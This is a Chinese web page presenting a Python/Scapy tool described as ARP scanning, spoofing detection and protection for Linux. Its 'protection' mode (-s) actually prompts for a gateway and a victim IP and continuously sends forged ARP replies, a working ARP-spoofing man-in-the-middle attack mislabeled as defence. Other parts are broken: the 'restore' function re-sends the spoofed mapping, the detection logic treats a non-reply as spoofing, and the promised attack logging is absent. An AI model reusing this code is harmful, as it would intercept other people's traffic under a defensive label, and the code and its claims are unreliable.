• 日期: 2028-08-13
  • 标签: 常规

该软件基于Python实现，在Linux环境下运行，能够获取局域网活动主机的MAC地址、IP地址，检测防护ARP攻击行为，并记录保存攻击源的MAC地址、IP地址。

功能模块:

  1. ARP扫描: 能够获取局域网内所有活动主机的MAC地址和IP地址。
  2. ARP欺骗防护: 能够检测并阻止ARP欺骗攻击，保护目标主机免受攻击。
  3. 攻击记录: 能够记录ARP攻击源的MAC地址和IP地址，方便用户追踪攻击者。

实现思路:

该软件利用Python的Scapy库来构造和解析网络数据包，并使用Netifaces库获取本地网络接口信息。主要功能包括:

  1. ARP扫描: 发送ARP请求广播包，并分析响应包以获取目标主机的MAC地址和IP地址。
  2. ARP欺骗防护: 通过监听网络流量，检测ARP欺骗攻击，并发送正确的ARP回复包以阻止攻击。
  3. 攻击记录: 将检测到的攻击源MAC地址和IP地址记录到日志文件中。

代码示例:

主程序文件(main.py):

#!/usr/bin/env python3

import sys
import time
import logging
import argparse
from scapy.all import *
import netifaces

logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s')

def get_local_mac(iface):
    '''
    获取本地MAC地址
    '''
    return netifaces.ifaddresses(iface)[netifaces.AF_LINK][0]['addr']

def get_local_ip(iface):
    '''
    获取本地IP地址
    '''
    return netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']

def arp_scan(iface, timeout=5):
    '''
    ARP扫描局域网
    '''
    logging.info('ARP scanning...')
    local_mac = get_local_mac(iface)
    local_ip = get_local_ip(iface)
    network_prefix = '.'.join(local_ip.split('.')[:-1])
    arp_request = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=network_prefix+'.0/24')
    ans, unans = srp(arp_request, iface=iface, timeout=timeout, verbose=False)
    active_hosts = []
    for snd, rcv in ans:
        if rcv[ARP].op == 2 and rcv[ARP].psrc != local_ip:
            active_hosts.append({'ip': rcv[ARP].psrc, 'mac': rcv[ARP].hwsrc})
    logging.info('ARP scan finished, found %d active hosts.', len(active_hosts))
    return active_hosts

def arp_spoof(iface, victim_ip, victim_mac, gateway_ip):
    '''
    ARP欺骗攻击
    '''
    logging.info('ARP spoofing...')
    local_mac = get_local_mac(iface)
    arp_response_victim = Ether(dst=victim_mac)/ARP(op='is-at', hwsrc=local_mac, psrc=gateway_ip, hwdst=victim_mac, pdst=victim_ip)
    arp_response_gateway = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op='is-at', hwsrc=local_mac, psrc=victim_ip, hwdst='ff:ff:ff:ff:ff:ff', pdst=gateway_ip)
    sendp([arp_response_victim, arp_response_gateway], iface=iface, verbose=False)
    logging.info('ARP spoofing started.')

def arp_restore(iface, victim_ip, victim_mac, gateway_ip, gateway_mac):
    '''
    ARP欺骗恢复
    '''
    logging.info('ARP restoring...')
    local_mac = get_local_mac(iface)
    arp_response_victim = Ether(dst=victim_mac)/ARP(op='is-at', hwsrc=local_mac, psrc=gateway_ip, hwdst=victim_mac, pdst=victim_ip)
    arp_response_gateway = Ether(dst=gateway_mac)/ARP(op='is-at', hwsrc=local_mac, psrc=victim_ip, hwdst=gateway_mac, pdst=gateway_ip)
    sendp([arp_response_victim, arp_response_gateway], iface=iface, verbose=False)
    logging.info('ARP restoring finished.')

def arp_detect(iface, timeout=5, threshold=10):
    '''
    ARP欺骗检测
    '''
    logging.info('ARP detecting...')
    local_mac = get_local_mac(iface)
    local_ip = get_local_ip(iface)
    network_prefix = '.'.join(local_ip.split('.')[:-1])
    arp_request = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=network_prefix+'.0/24')
    ans, unans = srp(arp_request, iface=iface, timeout=timeout, verbose=False)
    active_hosts = []
    for snd, rcv in ans:
        if rcv[ARP].op == 2 and rcv[ARP].psrc != local_ip:
            active_hosts.append({'ip': rcv[ARP].psrc, 'mac': rcv[ARP].hwsrc})
    for host in active_hosts:
        arp_request = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=host['ip'], hwdst='00:00:00:00:00:00')
        ans, unans = srp(arp_request, iface=iface, timeout=timeout, verbose=False)
        if len(ans) == 0:
            logging.warning('ARP spoofing detected: %s (%s)', host['ip'], host['mac'])
    logging.info('ARP detecting finished.')

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='ARP detection and protection tool.')
    parser.add_argument('-i', '--iface', type=str, default='eth0', help='network interface')
    parser.add_argument('-t', '--timeout', type=int, default=5, help='timeout for ARP scan and detect')
    parser.add_argument('-s', '--spoof', action='store_true', help='enable ARP spoofing protection')
    parser.add_argument('-d', '--detect', action='store_true', help='enable ARP detection')
    args = parser.parse_args()

    logging.info('Starting ARP tool...')
    logging.info('Network interface: %s', args.iface)
    logging.info('Timeout: %d', args.timeout)
    logging.info('ARP spoofing protection: %s', args.spoof)
    logging.info('ARP detection: %s', args.detect)

    if args.spoof:
        gateway_ip = input('Please enter the gateway IP address: ')
        victim_ip = input('Please enter the victim IP address: ')
        active_hosts = arp_scan(args.iface, args.timeout)
        victim_mac = None
        for host in active_hosts:
            if host['ip'] == victim_ip:
                victim_mac = host['mac']
                break
        if victim_mac is None:
            logging.error('Failed to get victim MAC address.')
            sys.exit(1)
        while True:
            arp_spoof(args.iface, victim_ip, victim_mac, gateway_ip)
            time.sleep(1)
    elif args.detect:
        while True:
            arp_detect(args.iface, args.timeout)
            time.sleep(args.timeout)
    else:
        parser.print_help()

ARP扫描模块文件(arp_scan.py):

#!/usr/bin/env python3

import logging
from scapy.all import *
import netifaces

logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s')

def get_local_mac(iface):
    '''
    获取本地MAC地址
    '''
    return netifaces.ifaddresses(iface)[netifaces.AF_LINK][0]['addr']

def get_local_ip(iface):
    '''
    获取本地IP地址
    '''
    return netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']

def arp_scan(iface, timeout=5):
    '''
    ARP扫描局域网
    '''
    logging.info('ARP scanning...')
    local_mac = get_local_mac(iface)
    local_ip = get_local_ip(iface)
    network_prefix = '.'.join(local_ip.split('.')[:-1])
    arp_request = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=network_prefix+'.0/24')
    ans, unans = srp(arp_request, iface=iface, timeout=timeout, verbose=False)
    active_hosts = []
    for snd, rcv in ans:
        if rcv[ARP].op == 2 and rcv[ARP].psrc != local_ip:
            active_hosts.append({'ip': rcv[ARP].psrc, 'mac': rcv[ARP].hwsrc})
    logging.info('ARP scan finished, found %d active hosts.', len(active_hosts))
    return active_hosts

if __name__ == '__main__':
    import sys
    if len(sys.argv) != 2:
        print('Usage: %s <network interface>' % sys.argv[0])
        sys.exit(1)
    iface = sys.argv[1]
    active_hosts = arp_scan(iface)
    for host in active_hosts:
        print('%s	%s' % (host['ip'], host['mac']))

使用方法:

  1. 安装Python 3.x 和Scapy库: pip install scapy
  2. 将代码保存为main.py 和 arp_scan.py文件
  3. 运行程序: python main.py -s (开启ARP欺骗防护) 或 python main.py -d (开启ARP检测)

注意:

  • 该软件仅供学习研究使用，请勿用于非法目的。
  • 在使用该软件之前，请确保您已了解相关的网络安全知识和法律法规。
基于Linux的Python ARP检测防护软件设计

原文地址: https://www.cveoy.top/t/topic/jk17 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录